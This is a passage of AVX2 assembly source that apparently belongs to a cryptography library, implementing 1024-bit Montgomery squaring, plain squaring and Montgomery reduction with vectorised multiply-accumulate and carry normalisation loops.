and rdx, DIGIT_MASK
align ARCH_ALIGN_FACTOR
.reduction_loop:
vmovd xmm11, edx
vpbroadcastq ymm11, xmm11
vpmuludq ymm14, ymm10, ymmword [rcx+sizeof(ymmword)]
mov rax, rdx ; ac1 += pn[0]*y1
imul rax, qword [rcx]
vpaddq ymm1, ymm1, ymm14
vpmuludq ymm14, ymm10, ymmword [rcx+sizeof(ymmword)*2]
vpaddq ymm2, ymm2, ymm14
vpmuludq ymm14, ymm10, ymmword [rcx+sizeof(ymmword)*3]
vpaddq ymm3, ymm3, ymm14
vpmuludq ymm14, ymm10, ymmword [rcx+sizeof(ymmword)*4]
add r11, rax
shr r11, DIGIT_BITS ; update ac2
vpaddq ymm4, ymm4, ymm14
vpmuludq ymm14, ymm10, ymmword [rcx+sizeof(ymmword)*5]
mov rax, rdx ; ac2 += pn[1]*y1
imul rax, qword [rcx+sizeof(qword)]
vpaddq ymm5, ymm5, ymm14
add r12, rax
vpmuludq ymm14, ymm10, ymmword [rcx+sizeof(ymmword)*6]
imul rdx, qword [rcx+sizeof(qword)*2] ; ac3 += pn[2]*y1
add r12, r11
vpaddq ymm6, ymm6, ymm14
add r13, rdx
vpmuludq ymm14, ymm10, ymmword [rcx+sizeof(ymmword)*7]
mov rdx, r12 ; y2 = (ac2*m0) & DIGIT_MASK
imul edx, r8d
vpaddq ymm7, ymm7, ymm14
vpmuludq ymm14, ymm10, ymmword [rcx+sizeof(ymmword)*8]
vpaddq ymm8, ymm8, ymm14
and rdx, DIGIT_MASK
vpmuludq ymm14, ymm10, ymmword [rcx+sizeof(ymmword)*9]
vpaddq ymm9, ymm9, ymm14
;; ------------------------------------------------------------
vmovd xmm12, edx
vpbroadcastq ymm12, xmm12
vpmuludq ymm14, ymm11, ymmword [rcx+sizeof(ymmword)-sizeof(qword)]
mov rax, rdx ; ac2 += pn[0]*y2
imul rax, qword [rcx]
vpaddq ymm1, ymm1, ymm14
vpmuludq ymm14, ymm11, ymmword [rcx+sizeof(ymmword)*2-sizeof(qword)]
vpaddq ymm2, ymm2, ymm14
vpmuludq ymm14, ymm11, ymmword [rcx+sizeof(ymmword)*3-sizeof(qword)]
vpaddq ymm3, ymm3, ymm14
vpmuludq ymm14, ymm11, ymmword [rcx+sizeof(ymmword)*4-sizeof(qword)]
vpaddq ymm4, ymm4, ymm14
add rax, r12
shr rax, DIGIT_BITS ; update ac3
vpmuludq ymm14, ymm11, ymmword [rcx+sizeof(ymmword)*5-sizeof(qword)]
imul rdx, qword [rcx+sizeof(qword)] ; ac3 += pn[1]*y2
vpaddq ymm5, ymm5, ymm14
vpmuludq ymm14, ymm11, ymmword [rcx+sizeof(ymmword)*6-sizeof(qword)]
vpaddq ymm6, ymm6, ymm14
vpmuludq ymm14, ymm11, ymmword [rcx+sizeof(ymmword)*7-sizeof(qword)]
vpaddq ymm7, ymm7, ymm14
add rdx, r13
add rdx, rax ; update ac3
vpmuludq ymm14, ymm11, ymmword [rcx+sizeof(ymmword)*8-sizeof(qword)]
vpaddq ymm8, ymm8, ymm14
vpmuludq ymm14, ymm11, ymmword [rcx+sizeof(ymmword)*9-sizeof(qword)]
vpaddq ymm9, ymm9, ymm14
sub r9, 2
jz .exit_reduction_loop
;; ------------------------------------------------------------
vpmuludq ymm14, ymm12, ymmword [rcx+sizeof(ymmword)-sizeof(qword)*2]
mov r13, rdx ; y3 = (ac3*m0) & DIGIT_MASK
imul edx, r8d
vpaddq ymm1, ymm1, ymm14
vpmuludq ymm14, ymm12, ymmword [rcx+sizeof(ymmword)*2-sizeof(qword)*2]
vpaddq ymm2, ymm2, ymm14
and rdx, DIGIT_MASK
vpmuludq ymm14, ymm12, ymmword [rcx+sizeof(ymmword)*3-sizeof(qword)*2]
vmovd xmm13, edx
vpaddq ymm3, ymm3, ymm14
vpmuludq ymm14, ymm12, ymmword [rcx+sizeof(ymmword)*4-sizeof(qword)*2]
vpbroadcastq ymm13, xmm13
vpaddq ymm4, ymm4, ymm14
vpmuludq ymm14, ymm12, ymmword [rcx+sizeof(ymmword)*5-sizeof(qword)*2]
imul rdx, qword [rcx] ; ac3 += pn[0]*y3
vpaddq ymm5, ymm5, ymm14
vpmuludq ymm14, ymm12, ymmword [rcx+sizeof(ymmword)*6-sizeof(qword)*2]
vpaddq ymm6, ymm6, ymm14
add r13, rdx
vpmuludq ymm14, ymm12, ymmword [rcx+sizeof(ymmword)*7-sizeof(qword)*2]
vpaddq ymm7, ymm7, ymm14
shr r13, DIGIT_BITS
vmovq xmm0, r13
vpmuludq ymm14, ymm13, ymmword [rcx+sizeof(ymmword)-sizeof(qword)*3]
vpaddq ymm1, ymm1, ymm0
vpaddq ymm1, ymm1, ymm14
vmovdqu ymmword [rdi], ymm1
vpmuludq ymm14, ymm12, ymmword [rcx+sizeof(ymmword)*8-sizeof(qword)*2]
vpaddq ymm8, ymm8, ymm14
vpmuludq ymm14, ymm12, ymmword [rcx+sizeof(ymmword)*9-sizeof(qword)*2]
vpaddq ymm9, ymm9, ymm14
;; ------------------------------------------------------------
vmovq rdx, xmm1 ; y0 = (ac0*k0) & DIGIT_MASK
imul edx, r8d
and edx, DIGIT_MASK
vmovq r10, xmm1 ; update lowest part of temporary result
mov r11, qword [rdi+sizeof(qword)] ;
mov r12, qword [rdi+sizeof(qword)*2] ;
mov r13, qword [rdi+sizeof(qword)*3] ;
vmovd xmm10, edx
vpbroadcastq ymm10, xmm10
vpmuludq ymm14, ymm13, ymmword [rcx+sizeof(ymmword)*2-sizeof(qword)*3]
mov rax, rdx ; ac0 += pn[0]*y0
imul rax, qword [rcx]
vpaddq ymm1, ymm2, ymm14
vpmuludq ymm14, ymm13, ymmword [rcx+sizeof(ymmword)*3-sizeof(qword)*3]
add r10, rax
vpaddq ymm2, ymm3, ymm14
shr r10, DIGIT_BITS ; updtae ac1
vpmuludq ymm14, ymm13, ymmword [rcx+sizeof(ymmword)*4-sizeof(qword)*3]
mov rax, rdx ; ac1 += pn[1]*y0
imul rax, qword [rcx+sizeof(qword)]
vpaddq ymm3, ymm4, ymm14
add r11, rax
vpmuludq ymm14, ymm13, ymmword [rcx+sizeof(ymmword)*5-sizeof(qword)*3]
mov rax, rdx ; ac2 += pn[2]*y0
imul rax, qword [rcx+sizeof(qword)*2]
vpaddq ymm4, ymm5, ymm14
add r12, rax
vpmuludq ymm14, ymm13, ymmword [rcx+sizeof(ymmword)*6-sizeof(qword)*3]
imul rdx, qword [rcx+sizeof(qword)*3] ; ac3 += pn[3]*y0
vpaddq ymm5, ymm6, ymm14
add r13, rdx
add r11, r10
vpmuludq ymm14, ymm13, ymmword [rcx+sizeof(ymmword)*7-sizeof(qword)*3]
mov rdx, r11 ; y1 = (ac1*k0) & DIGIT_MASK
imul edx, r8d
vpaddq ymm6, ymm7, ymm14
and rdx, DIGIT_MASK
vpmuludq ymm14, ymm13, ymmword [rcx+sizeof(ymmword)*8-sizeof(qword)*3]
vpaddq ymm7, ymm8, ymm14
vpmuludq ymm14, ymm13, ymmword [rcx+sizeof(ymmword)*9-sizeof(qword)*3]
vpaddq ymm8, ymm9, ymm14
vpmuludq ymm14, ymm13, ymmword [rcx+sizeof(ymmword)*10-sizeof(qword)*3]
vpaddq ymm9, ymm14, ymmword [rdi+sizeof(ymmword)*10]
add rdi, sizeof(qword)*4
sub r9, 2
jnz .reduction_loop
.exit_reduction_loop:
mov rdi, qword [rsp+pResult] ; restore pointer to result
mov qword [rdi], r12
mov qword [rdi+sizeof(qword)], r13
vmovdqu ymmword [rdi+sizeof(ymmword)-sizeof(qword)*2], ymm1
vmovdqu ymmword [rdi+sizeof(ymmword)*2-sizeof(qword)*2], ymm2
vmovdqu ymmword [rdi+sizeof(ymmword)*3-sizeof(qword)*2], ymm3
vmovdqu ymmword [rdi+sizeof(ymmword)*4-sizeof(qword)*2], ymm4
vmovdqu ymmword [rdi+sizeof(ymmword)*5-sizeof(qword)*2], ymm5
vmovdqu ymmword [rdi+sizeof(ymmword)*6-sizeof(qword)*2], ymm6
vmovdqu ymmword [rdi+sizeof(ymmword)*7-sizeof(qword)*2], ymm7
vmovdqu ymmword [rdi+sizeof(ymmword)*8-sizeof(qword)*2], ymm8
vmovdqu ymmword [rdi+sizeof(ymmword)*9-sizeof(qword)*2], ymm9
;;
;; normalization
;;
mov r9, dword 38
xor rax, rax
.norm_loop:
add rax, qword [rdi]
add rdi, sizeof(qword)
mov rdx, dword DIGIT_MASK
and rdx, rax
shr rax, DIGIT_BITS
mov qword [rdi-sizeof(qword)], rdx
sub r9, 1
jg .norm_loop
mov qword [rdi], rax
REST_XMM_AVX
REST_GPR
ret
ENDFUNC mont_sqr1024_avx2
;*************************************************************
;* void sqr1024_avx2(uint64_t* pR,
;* const uint64_t* pA, int nsA,
;* uint64_t* pBuffer)
;*************************************************************
align ARCH_ALIGN_FACTOR
IPPASM sqr1024_avx2,PUBLIC
%assign LOCAL_FRAME sizeof(qword)*5
USES_GPR rsi,rdi,rbx
USES_XMM_AVX ymm6,ymm7,ymm8,ymm9,ymm10,ymm11,ymm12,ymm13,ymm14
COMP_ABI 4
movsxd rdx, edx ; redLen value counter
vpxor ymm11, ymm11, ymm11
;; expands A operand
vmovdqu ymmword [rsi+rdx*sizeof(qword)], ymm11
;
; stack struct
;
%assign pResult 0 ; pointer to result
%assign pA pResult+sizeof(qword) ; pointer to A operand
%assign redLen pA+sizeof(qword) ; length
%assign pA2 redLen+sizeof(qword) ; pointer to buffer (contains doubled input (A*2) and temporary result (A^2) )
%assign pAxA pA2+sizeof(qword) ; pointer to temporary result (A^2)
mov qword [rsp+pResult], rdi ; store pointer to result
mov qword [rsp+pA], rsi ; store pointer to input A
mov qword [rsp+redLen], rdx ; store redLen
mov rdx, dword 40
mov rdi, rcx ; pointer to buffer
mov qword [rsp+pAxA], rdi ; pointer to temporary result (low A^2)
lea rbx, [rdi+rdx*sizeof(qword)] ; pointer to temporary result (high A^2)
lea r9, [rbx+rdx*sizeof(qword)] ; pointer to doubled input (A*2)
mov qword [rsp+pA2], r9
mov rax, rsi
mov rcx, dword sizeof(ymmword)/sizeof(qword)
;; doubling input
vmovdqu ymm0, ymmword [rsi]
vmovdqu ymm1, ymmword [rsi+sizeof(ymmword)]
vmovdqu ymm2, ymmword [rsi+sizeof(ymmword)*2]
vmovdqu ymm3, ymmword [rsi+sizeof(ymmword)*3]
vmovdqu ymm4, ymmword [rsi+sizeof(ymmword)*4]
vmovdqu ymm5, ymmword [rsi+sizeof(ymmword)*5]
vmovdqu ymm6, ymmword [rsi+sizeof(ymmword)*6]
vmovdqu ymm7, ymmword [rsi+sizeof(ymmword)*7]
vmovdqu ymm8, ymmword [rsi+sizeof(ymmword)*8]
vmovdqu ymm9, ymmword [rsi+sizeof(ymmword)*9]
vmovdqu ymmword [r9], ymm0
vpbroadcastq ymm10, qword [rax] ; ymm10 = {a0:a0:a0:a0}
vpaddq ymm1, ymm1, ymm1
vmovdqu ymmword [r9+sizeof(ymmword)], ymm1
vpaddq ymm2, ymm2, ymm2
vmovdqu ymmword [r9+sizeof(ymmword)*2], ymm2
vpaddq ymm3, ymm3, ymm3
vmovdqu ymmword [r9+sizeof(ymmword)*3], ymm3
vpaddq ymm4, ymm4, ymm4
vmovdqu ymmword [r9+sizeof(ymmword)*4], ymm4
vpaddq ymm5, ymm5, ymm5
vmovdqu ymmword [r9+sizeof(ymmword)*5], ymm5
vpaddq ymm6, ymm6, ymm6
vmovdqu ymmword [r9+sizeof(ymmword)*6], ymm6
vpaddq ymm7, ymm7, ymm7
vmovdqu ymmword [r9+sizeof(ymmword)*7], ymm7
vpaddq ymm8, ymm8, ymm8
vmovdqu ymmword [r9+sizeof(ymmword)*8], ymm8
vpaddq ymm9, ymm9, ymm9
vmovdqu ymmword [r9+sizeof(ymmword)*9], ymm9
;;
;; squaring
;;
vpmuludq ymm0, ymm10, ymmword [rsi]
vpbroadcastq ymm14, qword [rax+sizeof(qword)*4] ; ymm14 = {a4:a4:a4:a4}
vmovdqu ymmword [rbx], ymm11
vpmuludq ymm1, ymm10, ymmword [r9+sizeof(ymmword)]
vmovdqu ymmword [rbx+sizeof(ymmword)], ymm11
vpmuludq ymm2, ymm10, ymmword [r9+sizeof(ymmword)*2]
vmovdqu ymmword [rbx+sizeof(ymmword)*2], ymm11
vpmuludq ymm3, ymm10, ymmword [r9+sizeof(ymmword)*3]
vmovdqu ymmword [rbx+sizeof(ymmword)*3], ymm11
vpmuludq ymm4, ymm10, ymmword [r9+sizeof(ymmword)*4]
vmovdqu ymmword [rbx+sizeof(ymmword)*4], ymm11
vpmuludq ymm5, ymm10, ymmword [r9+sizeof(ymmword)*5]
vmovdqu ymmword [rbx+sizeof(ymmword)*5], ymm11
vpmuludq ymm6, ymm10, ymmword [r9+sizeof(ymmword)*6]
vmovdqu ymmword [rbx+sizeof(ymmword)*6], ymm11
vpmuludq ymm7, ymm10, ymmword [r9+sizeof(ymmword)*7]
vmovdqu ymmword [rbx+sizeof(ymmword)*7], ymm11
vpmuludq ymm8, ymm10, ymmword [r9+sizeof(ymmword)*8]
vmovdqu ymmword [rbx+sizeof(ymmword)*8], ymm11
vpmuludq ymm9, ymm10, ymmword [r9+sizeof(ymmword)*9]
vmovdqu ymmword [rbx+sizeof(ymmword)*9], ymm11
jmp .sqr1024_ep
align ARCH_ALIGN_FACTOR
.sqr1024_loop4:
vpmuludq ymm0, ymm10, ymmword [rsi]
vpbroadcastq ymm14, qword [rax+sizeof(qword)*4] ; ymm14 = {a4:a4:a4:a4}
vpaddq ymm0, ymm0, ymmword [rdi]
vpmuludq ymm1, ymm10, ymmword [r9+sizeof(ymmword)]
vpaddq ymm1, ymm1, ymmword [rdi+sizeof(ymmword)]
vpmuludq ymm2, ymm10, ymmword [r9+sizeof(ymmword)*2]
vpaddq ymm2, ymm2, ymmword [rdi+sizeof(ymmword)*2]
vpmuludq ymm3, ymm10, ymmword [r9+sizeof(ymmword)*3]
vpaddq ymm3, ymm3, ymmword [rdi+sizeof(ymmword)*3]
vpmuludq ymm4, ymm10, ymmword [r9+sizeof(ymmword)*4]
vpaddq ymm4, ymm4, ymmword [rdi+sizeof(ymmword)*4]
vpmuludq ymm5, ymm10, ymmword [r9+sizeof(ymmword)*5]
vpaddq ymm5, ymm5, ymmword [rdi+sizeof(ymmword)*5]
vpmuludq ymm6, ymm10, ymmword [r9+sizeof(ymmword)*6]
vpaddq ymm6, ymm6, ymmword [rdi+sizeof(ymmword)*6]
vpmuludq ymm7, ymm10, ymmword [r9+sizeof(ymmword)*7]
vpaddq ymm7, ymm7, ymmword [rdi+sizeof(ymmword)*7]
vpmuludq ymm8, ymm10, ymmword [r9+sizeof(ymmword)*8]
vpaddq ymm8, ymm8, ymmword [rdi+sizeof(ymmword)*8]
vpmuludq ymm9, ymm10, ymmword [r9+sizeof(ymmword)*9]
vpaddq ymm9, ymm9, ymmword [rdi+sizeof(ymmword)*9]
.sqr1024_ep:
vmovdqu ymmword [rdi], ymm0
vmovdqu ymmword [rdi+sizeof(ymmword)], ymm1
vpmuludq ymm11, ymm14, ymmword [rsi+sizeof(ymmword)]
vpbroadcastq ymm10, qword [rax+sizeof(qword)*8] ; ymm10 = {a8:a8:a8:a8}
vpaddq ymm2, ymm2, ymm11
vpmuludq ymm12, ymm14, ymmword [r9+sizeof(ymmword)*2]
vpaddq ymm3, ymm3, ymm12
vpmuludq ymm13, ymm14, ymmword [r9+sizeof(ymmword)*3]
vpaddq ymm4, ymm4, ymm13
vpmuludq ymm11, ymm14, ymmword [r9+sizeof(ymmword)*4]
vpaddq ymm5, ymm5, ymm11
vpmuludq ymm12, ymm14, ymmword [r9+sizeof(ymmword)*5]
vpaddq ymm6, ymm6, ymm12
vpmuludq ymm13, ymm14, ymmword [r9+sizeof(ymmword)*6]
vpaddq ymm7, ymm7, ymm13
vpmuludq ymm11, ymm14, ymmword [r9+sizeof(ymmword)*7]
vpaddq ymm8, ymm8, ymm11
vpmuludq ymm12, ymm14, ymmword [r9+sizeof(ymmword)*8]
vpaddq ymm9, ymm9, ymm12
vpmuludq ymm0, ymm14, ymmword [r9+sizeof(ymmword)*9]
vpaddq ymm0, ymm0, ymmword [rbx]
vmovdqu ymmword [rdi+sizeof(ymmword)*2], ymm2
vmovdqu ymmword [rdi+sizeof(ymmword)*3], ymm3
vpmuludq ymm11, ymm10, ymmword [rsi+sizeof(ymmword)*2]
vpbroadcastq ymm14, qword [rax+sizeof(qword)*12] ; ymm14 = {a12:a12:a12:a12}
vpaddq ymm4, ymm4, ymm11
vpmuludq ymm12, ymm10, ymmword [r9+sizeof(ymmword)*3]
vpaddq ymm5, ymm5, ymm12
vpmuludq ymm13, ymm10, ymmword [r9+sizeof(ymmword)*4]
vpaddq ymm6, ymm6, ymm13
vpmuludq ymm11, ymm10, ymmword [r9+sizeof(ymmword)*5]
vpaddq ymm7, ymm7, ymm11
vpmuludq ymm12, ymm10, ymmword [r9+sizeof(ymmword)*6]
vpaddq ymm8, ymm8, ymm12
vpmuludq ymm13, ymm10, ymmword [r9+sizeof(ymmword)*7]
vpaddq ymm9, ymm9, ymm13
vpmuludq ymm11, ymm10, ymmword [r9+sizeof(ymmword)*8]
vpaddq ymm0, ymm0, ymm11
vpmuludq ymm1, ymm10, ymmword [r9+sizeof(ymmword)*9]
vpaddq ymm1, ymm1, ymmword [rbx+sizeof(ymmword)]
vmovdqu ymmword [rdi+sizeof(ymmword)*4], ymm4
vmovdqu ymmword [rdi+sizeof(ymmword)*5], ymm5
vpmuludq ymm11, ymm14, ymmword [rsi+sizeof(ymmword)*3]
vpbroadcastq ymm10, qword [rax+sizeof(qword)*16] ; ymm10 = {a16:a16:a16:a16}
vpaddq ymm6, ymm6, ymm11
vpmuludq ymm12, ymm14, ymmword [r9+sizeof(ymmword)*4]
vpaddq ymm7, ymm7, ymm12
vpmuludq ymm13, ymm14, ymmword [r9+sizeof(ymmword)*5]
vpaddq ymm8, ymm8, ymm13
vpmuludq ymm11, ymm14, ymmword [r9+sizeof(ymmword)*6]
vpaddq ymm9, ymm9, ymm11
vpmuludq ymm12, ymm14, ymmword [r9+sizeof(ymmword)*7]
vpaddq ymm0, ymm0, ymm12
vpmuludq ymm13, ymm14, ymmword [r9+sizeof(ymmword)*8]
vpaddq ymm1, ymm1, ymm13
vpmuludq ymm2, ymm14, ymmword [r9+sizeof(ymmword)*9]
vpaddq ymm2, ymm2, ymmword [rbx+sizeof(ymmword)*2]
vmovdqu ymmword [rdi+sizeof(ymmword)*6], ymm6
vmovdqu ymmword [rdi+sizeof(ymmword)*7], ymm7
vpmuludq ymm11, ymm10, ymmword [rsi+sizeof(ymmword)*4]
vpbroadcastq ymm14, qword [rax+sizeof(qword)*20] ; ymm14 = {a20:a20:a20:a20}
vpaddq ymm8, ymm8, ymm11
vpmuludq ymm12, ymm10, ymmword [r9+sizeof(ymmword)*5]
vpaddq ymm9, ymm9, ymm12
vpmuludq ymm13, ymm10, ymmword [r9+sizeof(ymmword)*6]
vpaddq ymm0, ymm0, ymm13
vpmuludq ymm11, ymm10, ymmword [r9+sizeof(ymmword)*7]
vpaddq ymm1, ymm1, ymm11
vpmuludq ymm12, ymm10, ymmword [r9+sizeof(ymmword)*8]
vpaddq ymm2, ymm2, ymm12
vpmuludq ymm3, ymm10, ymmword [r9+sizeof(ymmword)*9]
vpaddq ymm3, ymm3, ymmword [rbx+sizeof(ymmword)*3]
vmovdqu ymmword [rdi+sizeof(ymmword)*8], ymm8
vmovdqu ymmword [rdi+sizeof(ymmword)*9], ymm9
vpmuludq ymm11, ymm14, ymmword [rsi+sizeof(ymmword)*5]
vpbroadcastq ymm10, qword [rax+sizeof(qword)*24] ; ymm10 = {a24:a24:a24:a24}
vpaddq ymm0, ymm0, ymm11
vpmuludq ymm12, ymm14, ymmword [r9+sizeof(ymmword)*6]
vpaddq ymm1, ymm1, ymm12
vpmuludq ymm13, ymm14, ymmword [r9+sizeof(ymmword)*7]
vpaddq ymm2, ymm2, ymm13
vpmuludq ymm11, ymm14, ymmword [r9+sizeof(ymmword)*8]
vpaddq ymm3, ymm3, ymm11
vpmuludq ymm4, ymm14, ymmword [r9+sizeof(ymmword)*9]
vpaddq ymm4, ymm4, ymmword [rbx+sizeof(ymmword)*4]
vmovdqu ymmword [rdi+sizeof(ymmword)*10], ymm0
vmovdqu ymmword [rdi+sizeof(ymmword)*11], ymm1
vpmuludq ymm11, ymm10, ymmword [rsi+sizeof(ymmword)*6]
vpbroadcastq ymm14, qword [rax+sizeof(qword)*28] ; ymm14 = {a28:a28:a28:a28}
vpaddq ymm2, ymm2, ymm11
vpmuludq ymm12, ymm10, ymmword [r9+sizeof(ymmword)*7]
vpaddq ymm3, ymm3, ymm12
vpmuludq ymm13, ymm10, ymmword [r9+sizeof(ymmword)*8]
vpaddq ymm4, ymm4, ymm13
vpmuludq ymm5, ymm10, ymmword [r9+sizeof(ymmword)*9]
vpaddq ymm5, ymm5, ymmword [rbx+sizeof(ymmword)*5]
vmovdqu ymmword [rdi+sizeof(ymmword)*12], ymm2
vmovdqu ymmword [rdi+sizeof(ymmword)*13], ymm3
vpmuludq ymm11, ymm14, ymmword [rsi+sizeof(ymmword)*7]
vpbroadcastq ymm10, qword [rax+sizeof(qword)*32] ; ymm10 = {a32:a32:a32:a32}
vpaddq ymm4, ymm4, ymm11
vpmuludq ymm12, ymm14, ymmword [r9+sizeof(ymmword)*8]
vpaddq ymm5, ymm5, ymm12
vpmuludq ymm6, ymm14, ymmword [r9+sizeof(ymmword)*9]
vpaddq ymm6, ymm6, ymmword [rbx+sizeof(ymmword)*6]
vmovdqu ymmword [rdi+sizeof(ymmword)*14], ymm4
vmovdqu ymmword [rdi+sizeof(ymmword)*15], ymm5
vpmuludq ymm11, ymm10, ymmword [rsi+sizeof(ymmword)*8]
vpbroadcastq ymm14, qword [rax+sizeof(qword)*36] ; ymm14 = {a36:a36:a36:a36}
vpaddq ymm6, ymm6, ymm11
vpmuludq ymm7, ymm10, ymmword [r9+sizeof(ymmword)*9]
vpaddq ymm7, ymm7, ymmword [rbx+sizeof(ymmword)*7]
vpmuludq ymm8, ymm14, ymmword [rsi+sizeof(ymmword)*9]
vpbroadcastq ymm10, qword [rax+sizeof(qword)] ; ymm10 = {a[1/2/3]:a[1/2/3]:a[1/2/3]:a[1/2/3]}
vpaddq ymm8, ymm8, ymmword [rbx+sizeof(ymmword)*8]
vmovdqu ymmword [rdi+sizeof(ymmword)*16], ymm6
vmovdqu ymmword [rdi+sizeof(ymmword)*17], ymm7
vmovdqu ymmword [rdi+sizeof(ymmword)*18], ymm8
add rdi, sizeof(qword)
add rbx, sizeof(qword)
add rax, sizeof(qword)
sub rcx, 1
jnz .sqr1024_loop4
;;
;; normalization
;;
mov rsi, qword [rsp+pAxA]
mov rdi, qword [rsp+pResult]
mov r9, dword 38*2
xor rax, rax
.norm_loop:
add rax, qword [rsi]
add rsi, sizeof(qword)
mov rdx, dword DIGIT_MASK
and rdx, rax
shr rax, DIGIT_BITS
mov qword [rdi], rdx
add rdi, sizeof(qword)
sub r9, 1
jg .norm_loop
mov qword [rdi], rax
REST_XMM_AVX
REST_GPR
ret
ENDFUNC sqr1024_avx2
;*************************************************************
;* void cpMontRed1024_avx2(uint64_t* pR,
;* uint64_t* pProduct,
;* const uint64_t* pModulus, int mSize,
;* uint64_t k0)
;*************************************************************
align ARCH_ALIGN_FACTOR
IPPASM cpMontRed1024_avx2,PUBLIC
%assign LOCAL_FRAME sizeof(qword)*0
USES_GPR rsi,rdi,r12,r13
USES_XMM_AVX ymm6,ymm7,ymm8,ymm9,ymm10,ymm11,ymm12,ymm13,ymm14
COMP_ABI 5
movsxd r9, ecx ; redLen value counter (length of modulus)
mov rcx, rdx ; pointer to modulus
vpxor ymm11, ymm11, ymm11
;; expands M operands
vmovdqu ymmword [rdx+r9*sizeof(qword)], ymm11
;;
;; reduction
;;
mov r10, qword [rsi] ; load low part of temporary result
mov r11, qword [rsi+sizeof(qword)] ;
mov r12, qword [rsi+sizeof(qword)*2] ;
mov r13, qword [rsi+sizeof(qword)*3] ;
mov rdx, r10 ; y0 = (ac0*k0) & DIGIT_MASK
imul edx, r8d
and edx, DIGIT_MASK
vmovd xmm10, edx
vmovdqu ymm1, ymmword [rsi+sizeof(ymmword)*1] ; load other data
vmovdqu ymm2, ymmword [rsi+sizeof(ymmword)*2] ;
vmovdqu ymm3, ymmword [rsi+sizeof(ymmword)*3] ;
vmovdqu ymm4, ymmword [rsi+sizeof(ymmword)*4] ;
vmovdqu ymm5, ymmword [rsi+sizeof(ymmword)*5] ;
vmovdqu ymm6, ymmword [rsi+sizeof(ymmword)*6] ;
mov rax, rdx ; ac0 += pn[0]*y0
imul rax, qword [rcx]
add r10, rax
vpbroadcastq ymm10, xmm10
vmovdqu ymm7, ymmword [rsi+sizeof(ymmword)*7] ; load other data
vmovdqu ymm8, ymmword [rsi+sizeof(ymmword)*8] ;
vmovdqu ymm9, ymmword [rsi+sizeof(ymmword)*9] ;
mov rax, rdx ; ac1 += pn[1]*y0
imul rax, qword [rcx+sizeof(qword)]
add r11, rax
mov rax, rdx ; ac2 += pn[2]*y0
imul rax, qword [rcx+sizeof(qword)*2]
add r12, rax
shr r10, DIGIT_BITS ; updtae ac1
imul rdx, qword [rcx+sizeof(qword)*3] ; ac3 += pn[3]*y0
add r13, rdx
add r11, r10 ; updtae ac1
mov rdx, r11 ; y1 = (ac1*k0) & DIGIT_MASK
imul edx, r8d
and rdx, DIGIT_MASK
align ARCH_ALIGN_FACTOR
.reduction_loop:
vmovd xmm11, edx
vpbroadcastq ymm11, xmm11
vpmuludq ymm14, ymm10, ymmword [rcx+sizeof(ymmword)]
mov rax, rdx ; ac1 += pn[0]*y1
imul rax, qword [rcx]
vpaddq ymm1, ymm1, ymm14
vpmuludq ymm14, ymm10, ymmword [rcx+sizeof(ymmword)*2]
vpaddq ymm2, ymm2, ymm14
vpmuludq ymm14, ymm10, ymmword [rcx+sizeof(ymmword)*3]
vpaddq ymm3, ymm3, ymm14
vpmuludq ymm14, ymm10, ymmword [rcx+sizeof(ymmword)*4]
add r11, rax
shr r11, DIGIT_BITS ; update ac2
vpaddq ymm4, ymm4, ymm14
vpmuludq ymm14, ymm10, ymmword [rcx+sizeof(ymmword)*5]
mov rax, rdx ; ac2 += pn[1]*y1
imul rax, qword [rcx+sizeof(qword)]
vpaddq ymm5, ymm5, ymm14
add r12, rax
vpmuludq ymm14, ymm10, ymmword [rcx+sizeof(ymmword)*6]
imul rdx, qword [rcx+sizeof(qword)*2] ; ac3 += pn[2]*y1
add r12, r11
vpaddq ymm6, ymm6, ymm14
add r13, rdx
vpmuludq ymm14, ymm10, ymmword [rcx+sizeof(ymmword)*7]
mov rdx, r12 ; y2 = (ac2*m0) & DIGIT_MASK
imul edx, r8d
vpaddq ymm7, ymm7, ymm14
vpmuludq ymm14, ymm10, ymmword [rcx+sizeof(ymmword)*8]
vpaddq ymm8, ymm8, ymm14
and rdx, DIGIT_MASK
vpmuludq ymm14, ymm10, ymmword [rcx+sizeof(ymmword)*9]
vpaddq ymm9, ymm9, ymm14
;; ------------------------------------------------------------
vmovd xmm12, edx
vpbroadcastq ymm12, xmm12
vpmuludq ymm14, ymm11, ymmword [rcx+sizeof(ymmword)-sizeof(qword)]
mov rax, rdx ; ac2 += pn[0]*y2
imul rax, qword [rcx]
vpaddq ymm1, ymm1, ymm14
vpmuludq ymm14, ymm11, ymmword [rcx+sizeof(ymmword)*2-sizeof(qword)]
vpaddq ymm2, ymm2, ymm14
vpmuludq ymm14, ymm11, ymmword [rcx+sizeof(ymmword)*3-sizeof(qword)]
vpaddq ymm3, ymm3, ymm14
vpmuludq ymm14, ymm11, ymmword [rcx+sizeof(ymmword)*4-sizeof(qword)]
vpaddq ymm4, ymm4, ymm14
add rax, r12
shr rax, DIGIT_BITS ; update ac3
vpmuludq ymm14, ymm11, ymmword [rcx+sizeof(ymmword)*5-sizeof(qword)]
imul rdx, qword [rcx+sizeof(qword)] ; ac3 += pn[1]*y2
vpaddq ymm5, ymm5, ymm14
vpmuludq ymm14, ymm11, ymmword [rcx+sizeof(ymmword)*6-sizeof(qword)]
vpaddq ymm6, ymm6, ymm14
vpmuludq ymm14, ymm11, ymmword [rcx+sizeof(ymmword)*7-sizeof(qword)]
vpaddq ymm7, ymm7, ymm14
add rdx, r13
add rdx, rax ; update ac3
vpmuludq ymm14, ymm11, ymmword [rcx+sizeof(ymmword)*8-sizeof(qword)]
vpaddq ymm8, ymm8, ymm14
vpmuludq ymm14, ymm11, ymmword [rcx+sizeof(ymmword)*9-sizeof(qword)]
vpaddq ymm9, ymm9, ymm14
sub r9, 2
jz .exit_reduction_loop
;; ------------------------------------------------------------
vpmuludq ymm14, ymm12, ymmword [rcx+sizeof(ymmword)-sizeof(qword)*2]
mov r13, rdx ; y3 = (ac3*m0) & DIGIT_MASK
imul edx, r8d
vpaddq ymm1, ymm1, ymm14
vpmuludq ymm14, ymm12, ymmword [rcx+sizeof(ymmword)*2-sizeof(qword)*2]
vpaddq ymm2, ymm2, ymm14
and rdx, DIGIT_MASK
vpmuludq ymm14, ymm12, ymmword [rcx+sizeof(ymmword)*3-sizeof(qword)*2]
vmovd xmm13, edx
vpaddq ymm3, ymm3, ymm14
vpmuludq ymm14, ymm12, ymmword [rcx+sizeof(ymmword)*4-sizeof(qword)*2]
vpbroadcastq ymm13, xmm13
vpaddq ymm4, ymm4, ymm14
vpmuludq ymm14, ymm12, ymmword [rcx+sizeof(ymmword)*5-sizeof(qword)*2]
imul rdx, qword [rcx] ; ac3 += pn[0]*y3
vpaddq ymm5, ymm5, ymm14
